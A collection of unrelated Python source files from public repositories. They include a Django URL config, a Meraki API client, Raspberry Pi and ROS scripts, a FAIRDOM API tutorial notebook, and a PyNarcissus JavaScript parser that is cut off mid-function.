set_host_healthy(hostname) else: set_host_unhealthy(hostname)

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src/config/urls.py

snicoper/snicoper.com

2

162738

from django.conf import settings from django.conf.urls import include, url from django.contrib import admin from django.contrib.sitemaps.views import sitemap from django.views.static import serve from blog.sitemaps import BlogSitemap from blog.views import ArticleListView sitemaps = { 'blog': BlogSitemap } # i18n_patterns urlpatterns = [ ################################################## # / Pagina de inicio. url(r'^$', ArticleListView.as_view(), name='home_page'), ################################################## # /accounts/* url(r'^accounts/', include('accounts.urls')), # /auth/* url(r'^auth/', include('authentication.urls')), # /blog/* url(r'^blog/', include('blog.urls')), # /contact/* url(r'^contact/', include('contact.urls')), # /home/* url(r'^home/', include('home.urls')), # /pages/* url(r'^pages/', include('pages.urls')), # /search/* url(r'^search/', include('search.urls')), # /stats/* url(r'^stats/', include('stats.urls')), # /sitemap.xml url( regex=r'^sitemap\.xml$', view=sitemap, kwargs={'sitemaps': sitemaps}, name='django.contrib.sitemaps.views.sitemap' ), # /admin/* url(r'^admin/', admin.site.urls), ] if settings.DEBUG: # static files (images, css, javascript, etc.) import debug_toolbar urlpatterns += [ # /media/:<mixed>path/ url( regex=r'^media/(?P<path>.*)$', view=serve, kwargs={'document_root': settings.MEDIA_ROOT} ), url(r'^__debug__/', include(debug_toolbar.urls)), ]

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meraki/modules/clients.py

fgbs/meraki-dashboard-api

2

95088

<gh_stars>1-10 #!/usr/bin/env python # -*- coding: utf-8 -*- from __future__ import print_function from .base import Base from meraki.exceptions import NetworkIdMissing, ClientIdMissing, MacAddressMissing, DevicePolicyMissing class Clients(Base): def __init__(self, api_key=None, parent=None): super(Clients, self).__init__(api_key=api_key) self._parent = parent self._name = 'clients' def list(self, serial=None, timespan=3600): ''' List the clients of a device, up to a maximum of a month ago. The usage of each client is returned in kilobytes. If the device is a switch, the switchport is returned; otherwise the switchport field is null. ''' if timespan > 2592000: timespan = 2592000 return self._get_request(self._parent, serial, self._name, parms={'timespan': timespan}) def get(self, network=None, client=None): ''' Return the client associated with the given identifier. This endpoint will lookup by client ID or either the MAC or IP depending on whether the network uses Track-by-IP. ''' if network is None: raise NetworkIdMissing if client is None: raise ClientIdMissing return self._get_request(self._parent, network, self._name, client) def provision(self, network=None, mac=None, name='', device_policy=None, group_policy=None): ''' Provisions a client with a name and policy. Clients can be provisioned before they associate to the network. PARAMETERS mac: The MAC address of the client. Required. name: The display name for the client. Optional. Limited to 255 bytes. devicePolicy: The policy to apply to the specified client. Can be Whitelisted, Blocked, Normal, and Group policy. Required. groupPolicyId: The ID of the desired group policy to apply to the client. Required if 'devicePolicy' is set to "Group policy". Otherwise this is ignored. ''' if network is None: raise NetworkIdMissing if mac is None: raise MacAddressMissing if device_policy is None: raise DevicePolicyMissing data = { 'mac': mac, 'name': name, 'devicePolicy': device_policy } if device_policy == 'Group policy': data.update({ 'groupPolicyId': group_policy }) return self._post_request(self._parent, network, self._name, 'provision', data=data) def usage_history(self, network=None, client=None): ''' Return the client's daily usage history. Usage data is in kilobytes. ''' if network is None: raise NetworkIdMissing if client is None: raise ClientIdMissing return self._get_request(self._parent, network, self._name, client, 'usageHistory') def traffic_history(self, network=None, client=None, per_page=30): ''' Return the client's network traffic data over time. Usage data is in kilobytes. This endpoint requires detailed traffic analysis to be enabled on the Network-wide > General page. PARAMETERS perPage: The number of entries per page returned startingAfter: A token used by the server to indicate the start of the page. Often this is a timestamp or an ID but it is not limited to those. This parameter should not be defined by client applications. The link for the first, last, next or prev page in the HTTP Link header should define it. endingBefore: A token used by the server to indicate the end of the page. Often this is a timestamp or an ID but it is not limited to those. This parameter should not be defined by client applications. The link for the first, last, next or prev page in the HTTP Link header should define it. ''' if network is None: raise NetworkIdMissing if client is None: raise ClientIdMissing return self._get_request(self._parent, network, self._name, client, 'trafficHistory', parms={'perPage': per_page}) def events(self, network=None, client=None, per_page=30): ''' Return the events associated with this client. ''' if network is None: raise NetworkIdMissing if client is None: raise ClientIdMissing return self._get_request(self._parent, network, self._name, client, 'events', parms={'perPage': per_page}) def security_events(self, network=None, client=None, timespan=3600, per_page=30): ''' Return the events associated with this client. ''' if network is None: raise NetworkIdMissing if client is None: raise ClientIdMissing if timespan > 2592000: timespan = 2592000 return self._get_request(self._parent, network, self._name, client, 'securityEvents', parms={'timespan': timespan, 'perPage': per_page}) def latency_history(self, network=None, client=None, t0=0, t1=0, timespan=3600): ''' Return the latency history for a client. The latency data is from a sample of 2% of packets and is grouped into 4 traffic categories: background, best effort, video, voice. Within these categories the sampled packet counters are bucketed by latency in milliseconds. ''' if network is None: raise NetworkIdMissing if client is None: raise ClientIdMissing parms = {} if t0 > 0 and t1 > 0: parms.update({ 't0': t0, 't1': t1 }) else: parms.update({ 'timespan': timespan }) return self._get_request(self._parent, network, self._name, client, 'latencyHistory', parms=parms) def policy(self, network=None, client=None, device_policy=None, group_policy=None, timespan=3600): ''' Return the policy assigned to a client on the network. OR Update the policy assigned to a client on the network. PARAMETERS devicePolicy: The group policy (Whitelisted, Blocked, Normal, Group policy) groupPolicyId: If devicePolicy param is set to 'Group policy' this param is used to specify the group ID. timespan: The timespan for which clients will be fetched. Must be in seconds and less than or equal to a month (2592000 seconds). ''' if network is None: raise NetworkIdMissing if client is None: raise MacAddressMissing if timespan > 2592000: timespan = 2592000 parms = { 'timespan': timespan } if device_policy == 'Group policy': parms.update({ 'devicePolicy': device_policy, 'groupPolicyId': group_policy }) elif device_policy is not None: parms.update({ 'devicePolicy': device_policy }) return self._get_request(self._parent, network, self._name, client, 'policy', parms=parms) def splash_auth_status(self, network=None, client=None, ssid=None, is_authorized=False): ''' Return the splash authorization for a client, for each SSID they've associated with through splash. OR Update a client's splash authorization. PARAMETERS ssids: The target SSIDs. For each SSID where isAuthorized is true, the expiration time will automatically be set according to the SSID's splash frequency. isAuthorized: New authorization status for SSID (true, false). ''' if network is None: raise NetworkIdMissing if client is None: raise MacAddressMissing if ssid is not None: update = { 'ssids': { ssid: {'isAuthorized': is_authorized} } } return self._put_request(self._parent, network, self._name, client, 'splashAuthorizationStatus', update=update) else: return self._get_request(self._parent, network, self._name, client, 'splashAuthorizationStatus')

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generators/python/scripts/brain/calibrate_imu.py

EndlessLoops/blockly

1

193189

<reponame>EndlessLoops/blockly import rosnode import subprocess import time ros_nodes = rosnode.get_node_names() if not '/imu_talker' in ros_nodes: command='/home/erle/spider_ws/install_isolated/share/ros_erle_imu/imu_talker' process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE) time.sleep(10)

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03_fetching_data.py

FAIRdom/api-workshop

2

81267

# -*- coding: utf-8 -*- """03 Fetching data.ipynb Automatically generated by Colaboratory. Original file is located at https://colab.research.google.com/drive/1IYGWv5misDPAulnG_jfYOCtx5hxKl3Fr # Accessing and downloading Data * Finding the route to get hold of the data * Converting spreadsheets to CSV """ import requests import json import string import io # Importing the libraries we need to format the data in a more readable way. import pandas as pd from pandas.io.json import json_normalize from IPython.display import HTML base_url = 'https://fairdomhub.org' def json_for_resource(type, id): headers = {"Accept": "application/vnd.api+json", "Accept-Charset": "ISO-8859-1"} r = requests.get(base_url + "/" + type + "/" + str(id), headers=headers) r.raise_for_status() return r.json() """Fetch the JSON for the Data file resource at https://fairdomhub.org/data_files/1049 We print out title to be sure we have the correct item. """ data_file_id = 1049 result = json_for_resource('data_files',data_file_id) title = result['data']['attributes']['title'] title """The attributes contain a 'content_blobs' block. Content Blob is the name we use in SEEK for the entity that corresponds to a file or URL. Note that content_blobs is always an array. Models can currently contain multiple content blobs (multiple files), and we plan to provide the same support to Data files and other assets in the future. """ result['data']['attributes'] """Here we focus on the details about a single content blob: * **content_type** - this is the mime type of the file, or the whatever the URL points to * **link** - this is the link that describes the content blob route * **md5sum** - an MD5 checksum of the contents * **sha1sum** - a SHA1 based checksum of the contents. These checksums are useful for checking the file downloaded is correct, and there hasn't been an error or has been modified since being registered with SEEK. * **original_filename** - the filename if the file, as it was when registered with SEEK * **size** - the size of the file in bytes * **url** - url to an external resource, if the item was registered with SEEK using a URL rather than a direct upload In this case, this is an *Excel XLSX* file, called *1205 amino acid omission pyogenes.xlsx*, and is about 59k """ blob = result['data']['attributes']['content_blobs'][0] blob """The route to directly download a file is the content blob route, with the */download* action appended. This is always the case for anything downloadable in SEEK. In this example we display the URL to download the content blob for generete a HTML hyperlink for it. Although in this case we download the content blob itself directly, it is also possible to download with https://fairdomhub.org/data_files/1049/download . Other than Models, this currently results in downloading a single file. For models, a ZIP file is generated that contains all files. To be future proof, we recommend downloading individual files through the content-blob route. """ link = blob['link'] filename = blob['original_filename'] download_link = link+"/download" print("Download link is: " + download_link + "\n") HTML("<a href='"+ download_link + "'>Download + " + filename + "</a>") """As we saw earlier. this Data file is an Excel spreadsheet. Where data is an Excel spreadsheet, it can be converted to a Comma Seperated File (CSV), by requesting this format through content negotiation. In this case, we request a GET to https://fairdomhub.org/data_files/1049/content_blobs/1518, but instead of requesting JSON we use an Accept: header of 'text/csv'. A parameter 'sheet' can be included to access different sheets, which if missed always defaults to the first sheet. Here we request CSV and display the first sheet in a table using the Pandas module. (NaN is just a blank cell in the spreadsheet). """ headers = { "Accept": "text/csv" } r = requests.get(link, headers=headers, params={'sheet':'1'}) r.raise_for_status() csv = pd.read_csv(io.StringIO(r.content.decode('utf-8'))) csv """# Exercise 3 * Update the notebook to display the content blob details and CSV for sheet 2 of https://fairdomhub.org/data_files/2222 * Update and look at the multiple model file content blobs for https://fairdomhub.org/models/308 (don't worry if the csv step fails) """

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positivity/mbot_with_replacement_test.py

kilianFatras/unbisad_minibatch_sinkhorn_GAN

6

98190

<reponame>kilianFatras/unbisad_minibatch_sinkhorn_GAN #Test file for sampling with replacement import numpy as np import ot from utils import all_arr_w_replacement from mbot_proba import get_div2 import matplotlib.pyplot as plt ################################### # MAIN ################################### #%% parameters and data generation np.random.seed(1980) ns = 4 # nb samples nt = ns m_s = 2 m_t = 2 dev_list = np.linspace(0, np.pi, 100) # uniform distribution on samples a, b = ot.unif(ns), ot.unif(nt) #Test arrangements all_arr_s = all_arr_w_replacement(ns, m_s) all_arr_t = all_arr_w_replacement(nt, m_t) total = 0 for arr_s in all_arr_s: for arr_t in all_arr_t: total += np.prod(a[arr_s]) * np.prod(b[arr_t]) print("SANITY PROBA CHECK : ", total) w_value = np.zeros((1, len(dev_list))) for id_dev, dev in enumerate(dev_list): xs = [] xt = [] for i in range(ns): xs.append([np.cos(2 * i * np.pi/ns), np.sin(2 * i * np.pi/ns)]) xt.append([np.cos(2 * i * np.pi/ns + dev), np.sin(2 * i * np.pi/ns + dev)]) xs = np.array(xs) xt = np.array(xt) # Cost matrix p = 1 M = ot.dist(xs, xt, metric='euclidean')**p M_s = ot.dist(xs, xs, metric='euclidean')**p M_t = ot.dist(xt, xt, metric='euclidean')**p ########################### # TESTS ########################### divergence = get_div2(a, b, all_arr_s, all_arr_t, m_s, m_t, M, M_s, M_t, p) print("Expected div mini batch Wasserstein distance : ", divergence) w_value[0][id_dev] = divergence plt.plot(dev_list, w_value[0]) plt.title('w value') plt.xlabel('perturbation value') plt.ylabel('loss value') plt.tight_layout() plt.show()

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pos_multie_print/config/docs.py

ashish-greycube/pos_multie_print

0

22482

""" Configuration for docs """ # source_link = "https://github.com/[org_name]/pos_multie_print" # docs_base_url = "https://[org_name].github.io/pos_multie_print" # headline = "App that does everything" # sub_heading = "Yes, you got that right the first time, everything" def get_context(context): context.brand_html = "POS Multiple Print"

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climbproject/climbapp/admin.py

javawolfpack/ClimbProject

0

6025

from django.contrib import admin #from .models import * from . import models # Register your models here. admin.site.register(models.ClimbModel)

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LTN111/cycle.py

benjaveri/rpi

0

166420

#!/usr/bin/env python import RPi.GPIO as GPIO import time # pinoutBCM scheme - http://pinout.xyz/ D = [4,17,18,27,22,23,24,25] E = 11 RW = 8 RS = 7 def wr(rs,rw,data): GPIO.output(RS,True if rs else False) GPIO.output(RW,True if rw else False) time.sleep(0.001) GPIO.output(E,True) for i in range(8): GPIO.output(D[i],True if (data & (1<<i)) else False) time.sleep(0.001) GPIO.output(E,False) time.sleep(0.001) def writea(a): for ch in a: wr(1,0,ch) def write(s): for ch in s: wr(1,0,ord(ch)) # setup GPIO.setwarnings(False) GPIO.setmode(GPIO.BCM) GPIO.setup(E,GPIO.OUT) GPIO.output(E,False) GPIO.setup(RW,GPIO.OUT) GPIO.setup(RS,GPIO.OUT) for i in D: GPIO.setup(i,GPIO.OUT) # go wr(0,0,0x38) # 8-bit input mode wr(0,0,1) # cls wr(0,0,12) # display on # cycle characters i = 0 while 1: wr(0,0,0x80) writea([ i for j in range(8) ]) wr(0,0,0xc0) writea([ i for j in range(8) ]) i = (i+1) & 255 time.sleep(.125)

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merger/jsparser3.py

Mingun/k3a-utils

0

137828

#!/usr/bin/python2.5 # ***** BEGIN LICENSE BLOCK ***** # Version: MPL 1.1/GPL 2.0/LGPL 2.1 # # The contents of this file are subject to the Mozilla Public License Version # 1.1 (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # http://www.mozilla.org/MPL/ # # Software distributed under the License is distributed on an "AS IS" basis, # WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License # for the specific language governing rights and limitations under the # License. # # The Original Code is the Narcissus JavaScript engine, written in Javascript. # # The Initial Developer of the Original Code is # <NAME> <<EMAIL>>. # Portions created by the Initial Developer are Copyright (C) 2004 # the Initial Developer. All Rights Reserved. # # The Python version of the code was created by <NAME> <<EMAIL>>, # and is a direct translation from the Javascript version. # # Alternatively, the contents of this file may be used under the terms of # either the GNU General Public License Version 2 or later (the "GPL"), or # the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), # in which case the provisions of the GPL or the LGPL are applicable instead # of those above. If you wish to allow use of your version of this file only # under the terms of either the GPL or the LGPL, and not to allow others to # use your version of this file under the terms of the MPL, indicate your # decision by deleting the provisions above and replace them with the notice # and other provisions required by the GPL or the LGPL. If you do not delete # the provisions above, a recipient may use your version of this file under # the terms of any one of the MPL, the GPL or the LGPL. # # ***** END LICENSE BLOCK ***** */ """ PyNarcissus A lexical scanner and parser. JS implemented in JS, ported to Python. """ __author__ = "<NAME>" __author_email__ = "<EMAIL>" __date__ = "2009-03-24" __all__ = ["ParseError", "parse", "tokens"] import re, sys, types class Object(object): pass class Error_(Exception): pass class ParseError(Error_): pass tokens = dict(enumerate(( # End of source. "END", # Operators and punctuators. Some pair-wise order matters, e.g. (+, -) # and (UNARY_PLUS, UNARY_MINUS). "\n", ";", ",", "=", "?", ":", "CONDITIONAL", "||", "&&", "|", "^", "&", "==", "!=", "===", "!==", "<", "<=", ">=", ">", "<<", ">>", ">>>", "+", "-", "*", "/", "%", "!", "~", "UNARY_PLUS", "UNARY_MINUS", "++", "--", ".", "[", "]", "{", "}", "(", ")", # Nonterminal tree node type codes. "SCRIPT", "BLOCK", "LABEL", "FOR_IN", "CALL", "NEW_WITH_ARGS", "INDEX", "ARRAY_INIT", "OBJECT_INIT", "PROPERTY_INIT", "GETTER", "SETTER", "GROUP", "LIST", # Terminals. "IDENTIFIER", "NUMBER", "STRING", "REGEXP", # Keywords. "break", "case", "catch", "const", "continue", "debugger", "default", "delete", "do", "else", "enum", "false", "finally", "for", "function", "if", "in", "instanceof", "new", "null", "return", "switch", "this", "throw", "true", "try", "typeof", "var", "void", "while", "with"))) # Operator and punctuator mapping from token to tree node type name. # NB: superstring tokens (e.g., ++) must come before their substring token # counterparts (+ in the example), so that the opRegExp regular expression # synthesized from this list makes the longest possible match. opTypeNames = [ ('\n', "NEWLINE"), (';', "SEMICOLON"), (',', "COMMA"), ('?', "HOOK"), (':', "COLON"), ('||', "OR"), ('&&', "AND"), ('|', "BITWISE_OR"), ('^', "BITWISE_XOR"), ('&', "BITWISE_AND"), ('===', "STRICT_EQ"), ('==', "EQ"), ('=', "ASSIGN"), ('!==', "STRICT_NE"), ('!=', "NE"), ('<<', "LSH"), ('<=', "LE"), ('<', "LT"), ('>>>', "URSH"), ('>>', "RSH"), ('>=', "GE"), ('>', "GT"), ('++', "INCREMENT"), ('--', "DECREMENT"), ('+', "PLUS"), ('-', "MINUS"), ('*', "MUL"), ('/', "DIV"), ('%', "MOD"), ('!', "NOT"), ('~', "BITWISE_NOT"), ('.', "DOT"), ('[', "LEFT_BRACKET"), (']', "RIGHT_BRACKET"), ('{', "LEFT_CURLY"), ('}', "RIGHT_CURLY"), ('(', "LEFT_PAREN"), (')', "RIGHT_PAREN"), ] keywords = {} # Define const END, etc., based on the token names. Also map name to index. for i, t in tokens.copy().items(): if re.match(r'^[a-z]', t): const_name = t.upper() keywords[t] = i elif re.match(r'^\W', t): const_name = dict(opTypeNames)[t] else: const_name = t globals()[const_name] = i tokens[t] = i assignOps = {} # Map assignment operators to their indexes in the tokens array. for i, t in enumerate(['|', '^', '&', '<<', '>>', '>>>', '+', '-', '*', '/', '%']): assignOps[t] = tokens[t] assignOps[i] = t # Build a regexp that recognizes operators and punctuators (except newline). opRegExpSrc = "^" for i, j in opTypeNames: if i == "\n": continue if opRegExpSrc != "^": opRegExpSrc += "|^" opRegExpSrc += re.sub(r'[?|^&(){}\[\]+\-*\/\.]', lambda x: "\\%s" % x.group(0), i) opRegExp = re.compile(opRegExpSrc) # Convert opTypeNames to an actual dictionary now that we don't care about ordering opTypeNames = dict(opTypeNames) # A regexp to match floating point literals (but not integer literals). fpRegExp = re.compile(r'^\d+\.\d*(?:[eE][-+]?\d+)?|^\d+(?:\.\d*)?[eE][-+]?\d+|^\.\d+(?:[eE][-+]?\d+)?') # A regexp to match regexp literals. reRegExp = re.compile(r'^\/((?:\\.|\[(?:\\.|[^\]])*\]|[^\/])+)\/([gimy]*)') class SyntaxError_(ParseError): def __init__(self, message, filename, lineno): ParseError.__init__(self, "Syntax error: %s\n%s:%s" % (message, filename, lineno)) class Tokenizer(object): def __init__(self, s, f, l): self.cursor = 0 self.source = str(s) self.tokens = {} self.tokenIndex = 0 self.lookahead = 0 self.scanNewlines = False self.scanOperand = True self.filename = f self.lineno = l input_ = property(lambda self: self.source[self.cursor:]) done = property(lambda self: self.peek() == END) token = property(lambda self: self.tokens.get(self.tokenIndex)) def match(self, tt): return self.get() == tt or self.unget() def mustMatch(self, tt): if not self.match(tt): raise self.newSyntaxError("Missing " + tokens.get(tt).lower()) return self.token def peek(self): if self.lookahead: next = self.tokens.get((self.tokenIndex + self.lookahead) & 3) if self.scanNewlines and (getattr(next, "lineno", None) != getattr(self, "lineno", None)): tt = NEWLINE else: tt = getattr(next, "type_", None) else: tt = self.get() self.unget() return tt def peekOnSameLine(self): self.scanNewlines = True tt = self.peek() self.scanNewlines = False return tt def get(self): while self.lookahead: self.lookahead -= 1 self.tokenIndex = (self.tokenIndex + 1) & 3 token = self.tokens.get(self.tokenIndex) if getattr(token, "type_", None) != NEWLINE or self.scanNewlines: return getattr(token, "type_", None) while True: input__ = self.input_ if self.scanNewlines: match = re.match(r'^[ \t]+', input__) else: match = re.match(r'^\s+', input__) if match: spaces = match.group(0) self.cursor += len(spaces) newlines = re.findall(r'\n', spaces) if newlines: self.lineno += len(newlines) input__ = self.input_ match = re.match(r'^\/(?:\*(?:.|\n)*?\*\/|\/.*)', input__) if not match: break comment = match.group(0) self.cursor += len(comment) newlines = re.findall(r'\n', comment) if newlines: self.lineno += len(newlines) self.tokenIndex = (self.tokenIndex + 1) & 3 token = self.tokens.get(self.tokenIndex) if not token: token = Object() self.tokens[self.tokenIndex] = token if not input__: token.type_ = END return END def matchInput(): match = fpRegExp.match(input__) if match: token.type_ = NUMBER token.value = float(match.group(0)) return match.group(0) match = re.match(r'^0[xX][\da-fA-F]+|^0[0-7]*|^\d+', input__) if match: token.type_ = NUMBER token.value = eval(match.group(0)) return match.group(0) match = re.match(r'^[$_\w]+', input__) # FIXME no ES3 unicode if match: id_ = match.group(0) token.type_ = keywords.get(id_, IDENTIFIER) token.value = id_ return match.group(0) match = re.match(r'^"(?:\\.|[^"])*"|^\'(?:\\.|[^\'])*\'', input__) if match: token.type_ = STRING token.value = eval(match.group(0)) return match.group(0) if self.scanOperand: match = reRegExp.match(input__) if match: token.type_ = REGEXP token.value = {"regexp": match.group(1), "modifiers": match.group(2)} return match.group(0) match = opRegExp.match(input__) if match: op = match.group(0) if op in assignOps and input__[len(op)] == '=': token.type_ = ASSIGN token.assignOp = globals()[opTypeNames[op]] token.value = op return match.group(0) + "=" token.type_ = globals()[opTypeNames[op]] if self.scanOperand and (token.type_ in (PLUS, MINUS)): token.type_ += UNARY_PLUS - PLUS token.assignOp = None token.value = op return match.group(0) if self.scanNewlines: match = re.match(r'^\n', input__) if match: token.type_ = NEWLINE return match.group(0) raise self.newSyntaxError("Illegal token") token.start = self.cursor self.cursor += len(matchInput()) token.end = self.cursor token.lineno = self.lineno return getattr(token, "type_", None) def unget(self): self.lookahead += 1 if self.lookahead == 4: raise Error("PANIC: too much lookahead!") self.tokenIndex = (self.tokenIndex - 1) & 3 def newSyntaxError(self, m): return SyntaxError_(m, self.filename, self.lineno) class CompilerContext(object): def __init__(self, inFunction): self.inFunction = inFunction self.stmtStack = [] self.funDecls = [] self.varDecls = [] self.bracketLevel = 0 self.curlyLevel = 0 self.parenLevel = 0 self.hookLevel = 0 self.ecmaStrictMode = False self.inForLoopInit = False def Script(t, x): n = Statements(t, x) n.type_ = SCRIPT n.funDecls = x.funDecls n.varDecls = x.varDecls return n class Node(list): def __init__(self, t, type_=None, args=[]): list.__init__(self) token = t.token if token: if type_: self.type_ = type_ else: self.type_ = getattr(token, "type_", None) self.value = token.value self.lineno = token.lineno self.start = token.start self.end = token.end else: self.type_ = type_ self.lineno = t.lineno self.tokenizer = t for arg in args: self.append(arg) @property def type(self): return tokenstr(self.type_) # Always use push to add operands to an expression, to update start and end. def append(self, kid, numbers=[]): if kid: if hasattr(self, "start") and kid.start < self.start: self.start = kid.start if hasattr(self, "end") and self.end < kid.end: self.end = kid.end return list.append(self, kid) indentLevel = 0 def __str__(self): a = list((str(i), v) for i, v in enumerate(self)) for attr in dir(self): if attr[0] == "_": continue elif attr == "tokenizer": a.append((attr, "[object Object]")) elif attr in ("append", "count", "extend", "getSource", "index", "insert", "pop", "remove", "reverse", "sort", "type_", "target", "filename", "indentLevel", "type"): continue else: a.append((attr, getattr(self, attr))) if len(self): a.append(("length", len(self))) a.sort(key=lambda a: a[0]) INDENTATION = " " Node.indentLevel += 1 n = Node.indentLevel s = "{\n%stype: %s" % ((INDENTATION * n), tokenstr(self.type_)) for i, value in a: s += ",\n%s%s: " % ((INDENTATION * n), i) if i == "value" and self.type_ == REGEXP: s += "/%s/%s" % (value["regexp"], value["modifiers"]) elif value is None: s += "null" elif value is False: s += "false" elif value is True: s += "true" elif type(value) == list: s += ','.join((str(x) for x in value)) else: s += str(value) Node.indentLevel -= 1 n = Node.indentLevel s += "\n%s}" % (INDENTATION * n) return s __repr__ = __str__ def getSource(self): if getattr(self, "start", None) is not None: if getattr(self, "end", None) is not None: return self.tokenizer.source[self.start:self.end] return self.tokenizer.source[self.start:] if getattr(self, "end", None) is not None: return self.tokenizer.source[:self.end] return self.tokenizer.source[:] @property def filename(self): return self.tokenizer.filename def __bool__(self): return True # Statement stack and nested statement handler. def nest(t, x, node, func, end=None): x.stmtStack.append(node) n = func(t, x) x.stmtStack.pop() if end: t.mustMatch(end) return n def tokenstr(tt): t = tokens[tt] if re.match(r'^\W', t): return opTypeNames[t] return t.upper() def Statements(t, x): n = Node(t, BLOCK) x.stmtStack.append(n) while not t.done and t.peek() != RIGHT_CURLY: n.append(Statement(t, x)) x.stmtStack.pop() return n def Block(t, x): t.mustMatch(LEFT_CURLY) n = Statements(t, x) t.mustMatch(RIGHT_CURLY) return n DECLARED_FORM = 0 EXPRESSED_FORM = 1 STATEMENT_FORM = 2 def Statement(t, x): tt = t.get() # Cases for statements ending in a right curly return early, avoiding the # common semicolon insertion magic after this switch. if tt == FUNCTION: if len(x.stmtStack) > 1: type_ = STATEMENT_FORM else: type_ = DECLARED_FORM return FunctionDefinition(t, x, True, type_) elif tt == LEFT_CURLY: n = Statements(t, x) t.mustMatch(RIGHT_CURLY) return n elif tt == IF: n = Node(t) n.condition = ParenExpression(t, x) x.stmtStack.append(n) n.thenPart = Statement(t, x) if t.match(ELSE): n.elsePart = Statement(t, x) else: n.elsePart = None x.stmtStack.pop() return n elif tt == SWITCH: n = Node(t) t.mustMatch(LEFT_PAREN) n.discriminant = Expression(t, x) t.mustMatch(RIGHT_PAREN) n.cases = [] n.defaultIndex = -1 x.stmtStack.append(n) t.mustMatch(LEFT_CURLY) while True: tt = t.get() if tt == RIGHT_CURLY: break if tt in (DEFAULT, CASE): if tt == DEFAULT and n.defaultIndex >= 0: raise t.newSyntaxError("More than one switch default") n2 = Node(t) if tt == DEFAULT: n.defaultIndex = len(n.cases) else: n2.caseLabel = Expression(t, x, COLON) else: raise t.newSyntaxError("Invalid switch case") t.mustMatch(COLON) n2.statements = Node(t, BLOCK) while True: tt = t.peek() if(tt == CASE or tt == DEFAULT or tt == RIGHT_CURLY): break n2.statements.append(Statement(t, x)) n.cases.append(n2) x.stmtStack.pop() return n elif tt == FOR: n = Node(t) n2 = None n.isLoop = True t.mustMatch(LEFT_PAREN) tt = t.peek() if tt != SEMICOLON: x.inForLoopInit = True if tt == VAR or tt == CONST: t.get() n2 = Variables(t, x) else: n2 = Expression(t, x) x.inForLoopInit = False if n2 and t.match(IN): n.type_ = FOR_IN if n2.type_ == VAR: if len(n2) != 1: raise SyntaxError("Invalid for..in left-hand side", t.filename, n2.lineno) # NB: n2[0].type_ == INDENTIFIER and n2[0].value == n2[0].name n.iterator = n2[0] n.varDecl = n2 else: n.iterator = n2 n.varDecl = None n.object = Expression(t, x) else: if n2: n.setup = n2 else: n.setup = None t.mustMatch(SEMICOLON) if t.peek() == SEMICOLON: n.condition = None else: n.condition = Expression(t, x) t.mustMatch(SEMICOLON) if t.peek() == RIGHT_PAREN: n.update = None else: n.update = Expression(t, x) t.mustMatch(RIGHT_PAREN) n.body = nest(t, x, n, Statement) return n elif tt == WHILE: n = Node(t) n.isLoop = True n.condition = ParenExpression(t, x) n.body = nest(t, x, n, Statement) return n elif tt == DO: n = Node(t) n.isLoop = True n.body = nest(t, x, n, Statement, WHILE) n.condition = ParenExpression(t, x) if not x.ecmaStrictMode: # <script language="JavaScript"> (without version hints) may need # automatic semicolon insertion without a newline after do-while. # See http://bugzilla.mozilla.org/show_bug.cgi?id=238945. t.match(SEMICOLON) return n elif tt in (BREAK, CONTINUE): n = Node(t) if t.peekOnSameLine() == IDENTIFIER: t.get() n.label = t.token.value ss = x.stmtStack i = len(ss) label = getattr(n, "label", None) if label: while True: i -= 1 if i < 0: raise t.newSyntaxError("Label not found") if getattr(ss[i], "label", None) == label: break else: while True: i -= 1 if i < 0: if tt == BREAK: raise t.newSyntaxError("Invalid break") else: raise t.newSyntaxError("Invalid continue") if (getattr(ss[i], "isLoop", None) or (tt == BREAK and ss[i].type_ == SWITCH)): break n.target = ss[i] elif tt == TRY: n = Node(t) n.tryBlock = Block(t, x) n.catchClauses = [] while t.match(CATCH): n2 = Node(t) t.mustMatch(LEFT_PAREN) n2.varName = t.mustMatch(IDENTIFIER).value if t.match(IF): if x.ecmaStrictMode: raise t.newSyntaxError("Illegal catch guard") if n.catchClauses and not n.catchClauses[-1].guard: raise t.newSyntaxError("Gaurded catch after unguarded") n2.guard = Expression(t, x) else: n2.guard = None t.mustMatch(RIGHT_PAREN) n2.block = Block(t, x) n.catchClauses.append(n2) if t.match(FINALLY): n.finallyBlock = Block(t, x) if not n.catchClauses and not getattr(n, "finallyBlock", None): raise t.newSyntaxError("Invalid try statement") return n elif tt in (CATCH, FINALLY): raise t.newSyntaxError(tokens[tt] + " without preceding try") elif tt == THROW: n = Node(t) n.exception = Expression(t, x) elif tt == RETURN: if not x.inFunction: raise t.newSyntaxError("Invalid return") n = Node(t) tt = t.peekOnSameLine() if tt not in (END, NEWLINE, SEMICOLON, RIGHT_CURLY): n.value = Expression(t, x) elif tt == WITH: n = Node(t) n.object = ParenExpression(t, x) n.body = nest(t, x, n, Statement) return n elif tt in (VAR, CONST): n = Variables(t, x) elif tt == DEBUGGER: n = Node(t) elif tt in (NEWLINE, SEMICOLON): n = Node(t, SEMICOLON) n.expression = None return n else: if tt == IDENTIFIER: t.scanOperand = False tt = t.peek() t.scanOperand = True if tt == COLON: label = t.token.value ss = x.stmtStack i = len(ss) - 1 while i >= 0: if getattr(ss[i], "label", None) == label: raise t.newSyntaxError("Duplicate label") i -= 1 t.get() n = Node(t, LABEL) n.label = label n.statement = nest(t, x, n, Statement) return n n = Node(t, SEMICOLON) t.unget() n.expression = Expression(t, x) n.end = n.expression.end if t.lineno == t.token.lineno: tt = t.peekOnSameLine() if tt not in (END, NEWLINE, SEMICOLON, RIGHT_CURLY): raise t.newSyntaxError("Missing ; before statement") t.match(SEMICOLON) return n def FunctionDefinition(t, x, requireName, functionForm): f = Node(t) if f.type_ != FUNCTION: if f.value == "get": f.type_ = GETTER else: f.type_ = SETTER if t.match(IDENTIFIER): f.name = t.token.value elif requireName: raise t.newSyntaxError("Missing function identifier") t.mustMatch(LEFT_PAREN) f.params = [] while True: tt = t.get() if tt == RIGHT_PAREN: break if tt != IDENTIFIER: raise t.newSyntaxError("Missing formal parameter") f.params.append(t.token.value) if t.peek() != RIGHT_PAREN: t.mustMatch(COMMA) t.mustMatch(LEFT_CURLY) x2 = CompilerContext(True) f.body = Script(t, x2) t.mustMatch(RIGHT_CURLY) f.end = t.token.end f.functionForm = functionForm if functionForm == DECLARED_FORM: x.funDecls.append(f) return f def Variables(t, x): n = Node(t) while True: t.mustMatch(IDENTIFIER) n2 = Node(t) n2.name = n2.value if t.match(ASSIGN): if 